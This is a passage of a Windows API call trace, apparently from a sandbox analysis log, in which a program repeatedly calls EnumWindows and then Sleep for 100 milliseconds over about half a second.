(dwMilliseconds=0x64) [0170.588] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.588] Sleep (dwMilliseconds=0x64) [0170.590] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.590] Sleep (dwMilliseconds=0x64) [0170.591] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.591] Sleep (dwMilliseconds=0x64) [0170.593] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.594] Sleep (dwMilliseconds=0x64) [0170.595] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.595] Sleep (dwMilliseconds=0x64) [0170.597] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.597] Sleep (dwMilliseconds=0x64) [0170.598] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.598] Sleep (dwMilliseconds=0x64) [0170.600] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.600] Sleep (dwMilliseconds=0x64) [0170.601] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.601] Sleep (dwMilliseconds=0x64) [0170.603] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.603] Sleep (dwMilliseconds=0x64) [0170.604] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.605] Sleep (dwMilliseconds=0x64) [0170.606] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.606] Sleep (dwMilliseconds=0x64) [0170.607] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.608] Sleep (dwMilliseconds=0x64) [0170.609] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.609] Sleep (dwMilliseconds=0x64) [0170.610] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.611] Sleep (dwMilliseconds=0x64) [0170.612] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.612] Sleep (dwMilliseconds=0x64) [0170.614] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.614] Sleep (dwMilliseconds=0x64) [0170.615] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.616] Sleep (dwMilliseconds=0x64) [0170.617] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.617] Sleep (dwMilliseconds=0x64) [0170.618] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.619] Sleep (dwMilliseconds=0x64) [0170.620] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.620] Sleep (dwMilliseconds=0x64) [0170.621] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.622] Sleep (dwMilliseconds=0x64) [0170.623] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.623] Sleep (dwMilliseconds=0x64) [0170.624] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.625] Sleep (dwMilliseconds=0x64) [0170.626] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.626] Sleep (dwMilliseconds=0x64) [0170.627] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.628] Sleep (dwMilliseconds=0x64) [0170.629] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.629] Sleep (dwMilliseconds=0x64) [0170.630] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.631] Sleep (dwMilliseconds=0x64) [0170.632] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.632] Sleep (dwMilliseconds=0x64) [0170.635] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.635] Sleep (dwMilliseconds=0x64) [0170.636] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.636] Sleep (dwMilliseconds=0x64) [0170.638] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.638] Sleep (dwMilliseconds=0x64) [0170.639] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.640] Sleep (dwMilliseconds=0x64) [0170.641] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.641] Sleep (dwMilliseconds=0x64) [0170.643] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.643] Sleep (dwMilliseconds=0x64) [0170.645] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.645] Sleep (dwMilliseconds=0x64) [0170.647] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.647] Sleep (dwMilliseconds=0x64) [0170.648] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.648] Sleep (dwMilliseconds=0x64) [0170.650] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.650] Sleep (dwMilliseconds=0x64) [0170.651] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.651] Sleep (dwMilliseconds=0x64) [0170.653] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.653] Sleep (dwMilliseconds=0x64) [0170.655] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.655] Sleep (dwMilliseconds=0x64) [0170.657] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.657] Sleep (dwMilliseconds=0x64) [0170.659] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.659] Sleep (dwMilliseconds=0x64) [0170.660] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.660] Sleep (dwMilliseconds=0x64) [0170.662] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.662] Sleep (dwMilliseconds=0x64) [0170.663] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.664] Sleep (dwMilliseconds=0x64) [0170.665] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.665] Sleep (dwMilliseconds=0x64) [0170.667] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.667] Sleep (dwMilliseconds=0x64) [0170.669] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.669] Sleep (dwMilliseconds=0x64) [0170.670] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.670] Sleep (dwMilliseconds=0x64) [0170.672] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.672] Sleep (dwMilliseconds=0x64) [0170.674] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.674] Sleep (dwMilliseconds=0x64) [0170.675] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.675] Sleep (dwMilliseconds=0x64) [0170.677] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.677] Sleep (dwMilliseconds=0x64) [0170.680] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.680] Sleep (dwMilliseconds=0x64) [0170.682] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.682] Sleep (dwMilliseconds=0x64) [0170.683] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.683] Sleep (dwMilliseconds=0x64) [0170.685] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.685] Sleep (dwMilliseconds=0x64) [0170.686] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.686] Sleep (dwMilliseconds=0x64) [0170.688] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.688] Sleep (dwMilliseconds=0x64) [0170.690] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.690] Sleep (dwMilliseconds=0x64) [0170.692] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.692] Sleep (dwMilliseconds=0x64) [0170.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.694] Sleep (dwMilliseconds=0x64) [0170.695] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.695] Sleep (dwMilliseconds=0x64) [0170.696] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.697] Sleep (dwMilliseconds=0x64) [0170.699] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.699] Sleep (dwMilliseconds=0x64) [0170.700] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.700] Sleep (dwMilliseconds=0x64) [0170.702] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.702] Sleep (dwMilliseconds=0x64) [0170.704] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.704] Sleep (dwMilliseconds=0x64) [0170.706] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.706] Sleep (dwMilliseconds=0x64) [0170.708] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.708] Sleep (dwMilliseconds=0x64) [0170.709] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.709] Sleep (dwMilliseconds=0x64) [0170.710] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.711] Sleep (dwMilliseconds=0x64) [0170.712] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.712] Sleep (dwMilliseconds=0x64) [0170.714] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.714] Sleep (dwMilliseconds=0x64) [0170.715] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.715] Sleep (dwMilliseconds=0x64) [0170.717] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.717] Sleep (dwMilliseconds=0x64) [0170.718] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.719] Sleep (dwMilliseconds=0x64) [0170.720] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.720] Sleep (dwMilliseconds=0x64) [0170.721] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.722] Sleep (dwMilliseconds=0x64) [0170.723] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.723] Sleep (dwMilliseconds=0x64) [0170.724] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.725] Sleep (dwMilliseconds=0x64) [0170.726] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.726] Sleep (dwMilliseconds=0x64) [0170.727] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.730] Sleep (dwMilliseconds=0x64) [0170.731] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.732] Sleep (dwMilliseconds=0x64) [0170.733] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.733] Sleep (dwMilliseconds=0x64) [0170.734] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.735] Sleep (dwMilliseconds=0x64) [0170.736] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.736] Sleep (dwMilliseconds=0x64) [0170.737] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.738] Sleep (dwMilliseconds=0x64) [0170.739] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.739] Sleep (dwMilliseconds=0x64) [0170.740] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.741] Sleep (dwMilliseconds=0x64) [0170.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.743] Sleep (dwMilliseconds=0x64) [0170.744] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.744] Sleep (dwMilliseconds=0x64) [0170.746] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.746] Sleep (dwMilliseconds=0x64) [0170.747] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.747] Sleep (dwMilliseconds=0x64) [0170.749] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.749] Sleep (dwMilliseconds=0x64) [0170.750] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.750] Sleep (dwMilliseconds=0x64) [0170.752] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.752] Sleep (dwMilliseconds=0x64) [0170.753] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.753] Sleep (dwMilliseconds=0x64) [0170.755] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.755] Sleep (dwMilliseconds=0x64) [0170.756] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.756] Sleep (dwMilliseconds=0x64) [0170.758] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.758] Sleep (dwMilliseconds=0x64) [0170.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.759] Sleep (dwMilliseconds=0x64) [0170.761] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.761] Sleep (dwMilliseconds=0x64) [0170.762] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.762] Sleep (dwMilliseconds=0x64) [0170.764] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.764] Sleep (dwMilliseconds=0x64) [0170.765] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.765] Sleep (dwMilliseconds=0x64) [0170.767] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.767] Sleep (dwMilliseconds=0x64) [0170.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.768] Sleep (dwMilliseconds=0x64) [0170.770] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.770] Sleep (dwMilliseconds=0x64) [0170.771] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.771] Sleep (dwMilliseconds=0x64) [0170.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.773] Sleep (dwMilliseconds=0x64) [0170.774] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.774] Sleep (dwMilliseconds=0x64) [0170.776] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.776] Sleep (dwMilliseconds=0x64) [0170.777] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.777] Sleep (dwMilliseconds=0x64) [0170.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.779] Sleep (dwMilliseconds=0x64) [0170.783] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.783] Sleep (dwMilliseconds=0x64) [0170.785] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.786] Sleep (dwMilliseconds=0x64) [0170.787] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.787] Sleep (dwMilliseconds=0x64) [0170.789] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.789] Sleep (dwMilliseconds=0x64) [0170.791] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.791] Sleep (dwMilliseconds=0x64) [0170.792] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.792] Sleep (dwMilliseconds=0x64) [0170.794] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.794] Sleep (dwMilliseconds=0x64) [0170.795] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.796] Sleep (dwMilliseconds=0x64) [0170.797] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.797] Sleep (dwMilliseconds=0x64) [0170.799] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.799] Sleep (dwMilliseconds=0x64) [0170.800] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.800] Sleep (dwMilliseconds=0x64) [0170.802] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.802] Sleep (dwMilliseconds=0x64) [0170.804] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.804] Sleep (dwMilliseconds=0x64) [0170.806] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.806] Sleep (dwMilliseconds=0x64) [0170.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.807] Sleep (dwMilliseconds=0x64) [0170.810] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.810] Sleep (dwMilliseconds=0x64) [0170.812] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.812] Sleep (dwMilliseconds=0x64) [0170.813] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.813] Sleep (dwMilliseconds=0x64) [0170.815] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.815] Sleep (dwMilliseconds=0x64) [0170.816] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.816] Sleep (dwMilliseconds=0x64) [0170.818] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.818] Sleep (dwMilliseconds=0x64) [0170.819] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.820] Sleep (dwMilliseconds=0x64) [0170.821] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.821] Sleep (dwMilliseconds=0x64) [0170.822] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.822] Sleep (dwMilliseconds=0x64) [0170.824] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.824] Sleep (dwMilliseconds=0x64) [0170.826] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.826] Sleep (dwMilliseconds=0x64) [0170.827] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.827] Sleep (dwMilliseconds=0x64) [0170.829] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.829] Sleep (dwMilliseconds=0x64) [0170.830] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.830] Sleep (dwMilliseconds=0x64) [0170.832] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.832] Sleep (dwMilliseconds=0x64) [0170.833] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.834] Sleep (dwMilliseconds=0x64) [0170.835] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.835] Sleep (dwMilliseconds=0x64) [0170.837] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.837] Sleep (dwMilliseconds=0x64) [0170.840] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.840] Sleep (dwMilliseconds=0x64) [0170.841] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.842] Sleep (dwMilliseconds=0x64) [0170.843] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.844] Sleep (dwMilliseconds=0x64) [0170.845] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.846] Sleep (dwMilliseconds=0x64) [0170.847] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.848] Sleep (dwMilliseconds=0x64) [0170.849] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.849] Sleep (dwMilliseconds=0x64) [0170.852] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.852] Sleep (dwMilliseconds=0x64) [0170.854] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.854] Sleep (dwMilliseconds=0x64) [0170.856] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.856] Sleep (dwMilliseconds=0x64) [0170.858] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.859] Sleep (dwMilliseconds=0x64) [0170.860] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.861] Sleep (dwMilliseconds=0x64) [0170.862] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.862] Sleep (dwMilliseconds=0x64) [0170.864] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.864] Sleep (dwMilliseconds=0x64) [0170.865] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.865] Sleep (dwMilliseconds=0x64) [0170.867] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.867] Sleep (dwMilliseconds=0x64) [0170.871] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.871] Sleep (dwMilliseconds=0x64) [0170.873] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.873] Sleep (dwMilliseconds=0x64) [0170.875] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.875] Sleep (dwMilliseconds=0x64) [0170.877] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.877] Sleep (dwMilliseconds=0x64) [0170.879] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.879] Sleep (dwMilliseconds=0x64) [0170.880] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.880] Sleep (dwMilliseconds=0x64) [0170.882] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.882] Sleep (dwMilliseconds=0x64) [0170.883] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.884] Sleep (dwMilliseconds=0x64) [0170.885] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.885] Sleep (dwMilliseconds=0x64) [0170.887] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.901] Sleep (dwMilliseconds=0x64) [0170.903] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.903] Sleep (dwMilliseconds=0x64) [0170.904] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.904] Sleep (dwMilliseconds=0x64) [0170.906] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.906] Sleep (dwMilliseconds=0x64) [0170.907] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.907] Sleep (dwMilliseconds=0x64) [0170.909] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.909] Sleep (dwMilliseconds=0x64) [0170.910] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.910] Sleep (dwMilliseconds=0x64) [0170.912] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.912] Sleep (dwMilliseconds=0x64) [0170.913] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.913] Sleep (dwMilliseconds=0x64) [0170.914] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.915] Sleep (dwMilliseconds=0x64) [0170.916] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.916] Sleep (dwMilliseconds=0x64) [0170.918] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.918] Sleep (dwMilliseconds=0x64) [0170.920] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.920] Sleep (dwMilliseconds=0x64) [0170.921] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.922] Sleep (dwMilliseconds=0x64) [0170.923] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.923] Sleep (dwMilliseconds=0x64) [0170.925] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.925] Sleep (dwMilliseconds=0x64) [0170.927] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.927] Sleep (dwMilliseconds=0x64) [0170.929] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.929] Sleep (dwMilliseconds=0x64) [0170.930] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.930] Sleep (dwMilliseconds=0x64) [0170.933] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.933] Sleep (dwMilliseconds=0x64) [0170.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.935] Sleep (dwMilliseconds=0x64) [0170.936] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.936] Sleep (dwMilliseconds=0x64) [0170.938] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.938] Sleep (dwMilliseconds=0x64) [0170.939] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.939] Sleep (dwMilliseconds=0x64) [0170.941] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.941] Sleep (dwMilliseconds=0x64) [0170.943] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.943] Sleep (dwMilliseconds=0x64) [0170.945] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.945] Sleep (dwMilliseconds=0x64) [0170.947] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.947] Sleep (dwMilliseconds=0x64) [0170.948] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.949] Sleep (dwMilliseconds=0x64) [0170.950] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.950] Sleep (dwMilliseconds=0x64) [0170.952] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.952] Sleep (dwMilliseconds=0x64) [0170.954] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.954] Sleep (dwMilliseconds=0x64) [0170.955] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.955] Sleep (dwMilliseconds=0x64) [0170.956] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.957] Sleep (dwMilliseconds=0x64) [0170.958] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.958] Sleep (dwMilliseconds=0x64) [0170.959] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.960] Sleep (dwMilliseconds=0x64) [0170.976] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.976] Sleep (dwMilliseconds=0x64) [0170.978] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.978] Sleep (dwMilliseconds=0x64) [0170.979] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.979] Sleep (dwMilliseconds=0x64) [0170.981] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.981] Sleep (dwMilliseconds=0x64) [0170.982] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.982] Sleep (dwMilliseconds=0x64) [0170.984] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.984] Sleep (dwMilliseconds=0x64) [0170.985] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.985] Sleep (dwMilliseconds=0x64) [0170.987] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.987] Sleep (dwMilliseconds=0x64) [0170.988] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.988] Sleep (dwMilliseconds=0x64) [0170.989] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.990] Sleep (dwMilliseconds=0x64) [0170.991] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.991] Sleep (dwMilliseconds=0x64) [0170.993] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.993] Sleep (dwMilliseconds=0x64) [0170.994] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.994] Sleep (dwMilliseconds=0x64) [0170.996] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.996] Sleep (dwMilliseconds=0x64) [0170.997] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.997] Sleep (dwMilliseconds=0x64) [0170.998] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.999] Sleep (dwMilliseconds=0x64) [0171.000] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.000] Sleep (dwMilliseconds=0x64) [0171.003] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.004] Sleep (dwMilliseconds=0x64) [0171.005] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.005] Sleep (dwMilliseconds=0x64) [0171.007] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.007] Sleep (dwMilliseconds=0x64) [0171.008] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.008] Sleep (dwMilliseconds=0x64) [0171.010] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.010] Sleep (dwMilliseconds=0x64) [0171.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.011] Sleep (dwMilliseconds=0x64) [0171.013] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.013] Sleep (dwMilliseconds=0x64) [0171.014] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.014] Sleep (dwMilliseconds=0x64) [0171.016] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.016] Sleep (dwMilliseconds=0x64) [0171.017] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.017] Sleep (dwMilliseconds=0x64) [0171.019] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.019] Sleep (dwMilliseconds=0x64) [0171.020] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.020] Sleep (dwMilliseconds=0x64) [0171.023] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.023] Sleep (dwMilliseconds=0x64) [0171.025] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.025] Sleep (dwMilliseconds=0x64) [0171.026] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) 